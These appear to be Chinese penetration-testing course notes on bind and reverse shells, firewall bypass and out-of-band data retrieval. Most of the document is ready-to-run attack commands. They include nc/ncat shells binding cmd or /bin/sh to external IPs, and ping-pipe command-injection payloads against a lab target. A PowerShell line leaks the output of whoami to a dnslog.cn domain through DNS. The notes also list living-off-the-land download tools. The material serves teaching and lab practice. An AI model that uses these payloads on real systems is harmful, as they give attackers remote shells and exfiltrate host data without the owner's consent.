基础

基础蓝图

知识点

1、Web常规-系统&中间件&数据库&源码等
2、Web其他-前后端&软件&Docker&分配站等
3、Web拓展-CDN&WAF&OSS&反向&负载均衡等


1、APP架构-封装&原生态&H5&flutter等
2、小程序架构-Web&H5&JS&VUE框架等


1、渗透命令-常规命令&文件上传下载
2、反弹Shell-防火墙策略&正反向连接
3、数据回显-查询带外&网络协议层级

章节点

应用架构:Web/APP/云应用/小程序/负载均衡等
安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
渗透命令:文件上传下载/端口服务/Shell反弹等
抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
算法加密:数据编码/密码算法/密码保护/反编译/加壳等

正反向策略+带外查询

常规基本渗透命令详解

渗透测试中常用的命令

实用案例1:文件上传下载-解决无图形化&解决数据传输

命令生成:棱角社区
Linux:wget curl python ruby perl java等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:棱角社区
返回窗口,绑定权限。
反弹Shell命令:把对面的权限反弹过来,防止流量断续连接。

1、正向连接:本地监听等待对方连接(你主动找别人)

# 谁监听端口就控制谁

Linux控制Windows
# Windows
# win监听,然后给出权限
# 本地,等待别人过来连接
// 绑定CMD到本地5566端口
// 注意:这里需要一个nc.exe的win程序。
nc -e cmd -lvp 5566

# Kali
//主动连接目标5566
# 这是Windows主机的IP地址
ncat 47.122.23.131 5566

# ----------

Windows控制Linux
# Linux
# 本地自己监听,等待对方来对应端口进行连接(不主动连接我你就没权限/shell)
//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
# Windows
//主动连接目标5566
nc 47.94.236.117 5566

2、反向连接:主动给权限出去,让对方监听(别人主动来找你)

# 谁监听就控制对方

//绑定CMD到目标5566端口
# 绑定sh,绑定对方的IP地址,绑定对方的端口
# 把权限/shell弹出到对方对应的id和端口上
ncat -e /bin/sh 47.122.23.131 5566

# windows,正在使用5566进行监听(躺赢,等着别人把权限/shell送上门)
# 等待上钩的
# 本地,等待权限自己弹过来
//等待5566连接,一旦连接成立,直接控制
nc -lvvp 5566



//绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566
//等待5566连接
ncat -lvvp 5566

总的理解就是:Linux控制Windows服务器(俩远程主机要进行控制),选择有二:

  • 第一种:Linux主动找到Windows server,Windows server主动进行本地监听。
    • 此时,Linux通过连接本地端口对其进行控制。
  • 第二种:Windows server自己把权限主动给到Linux,而Linux则进行本地监听,对Windows server进行控制。

内网环境

含义:主网通过一个公网IP/组网网卡来上网。例如下面布置很多机器,公用一个上网网卡,内网主机主动出来找你连接比你在外网通过公网连接到内网方便。

应用场景:学校一大堆电脑的计算机机房,网吧,公司等等。

问题:尝试控制内网某一台主机

1.从外网对内部主机进行控制(行不通)

  • 外网ip具备唯一性
  • 外网主机最多找到内网的公共网卡ip
  • 外网主机无法进一步确定内网主机的位置
  • 内网ip不是唯一的

2.从内网反弹出shell给外网(行得通)

  • 反向,主动给出shell
  • 主动找唯一的外网ip –>容易

实际案例1:防火墙绕过-正向连接&反向连接&内网服务器

管道符:| (管道符号) ||(逻辑或) &&(逻辑与)  &(后台任务符号)
Windows->| & || &&
Linux->; | || & && ``(特有``和;)

例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`

实战靶场


思路:利用ping命令管道漏洞,外网主机让目标服务器下载靶机服务器的软件nc.exe,再通过cmd ping的漏洞使远程主机主动弹出shell给外网主机进行控制。

1、判断为windows ==> administrator
2、windows没有自带的nc ==> 文件上传nc
3、想办法上传nc 反弹权限
4、反弹

开启入站策略,采用反向连接
Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566

开启出站策略,采用正向连接
Linux:ncat -e cmd 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566

正反向反弹案例-内网服务器
只能内网主动交出数据,反向连接

实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog

出站入站都开启策略(数据不回显): OSI网络七层

真实应用的情况:真实情况会 限制很多端口

127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.f4an93.dnslog.cn';$z=$x+$y;ping $z

漏洞有,但是数据 不回显
1、反弹shell
2、带外查询 => 数据不回显的时候使用它

确定能执行命令

windows不能执行下面的Linux命令符:
` ` ;

Windows Ping命令管道:
ping 127.0.0.1 |

起因 :

  • cmd无法执行whoami
  • 用到powershell变量赋值 把whoami执行结果给变量
  • 结果带有“\” 导致ping无法执行

目的 :获取主机的whoami
使用 :配合powershell和dnslog.cn查询服务器的管理员名称

# 说简单点,就是:通过ping命令获取whoami,
# 并且通过替换掉斜杠的方式将主机的whoami通过ping命令传出
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.nghao0.dnslog.cn';$z=$x+$y;ping $z
# 顺序可换,但必须合乎逻辑。
powershell $x=whoami;$y='.nghao0.dnslog.cn';$z=$x+$y;$zz=$z.replace('\','xxx');ping $zz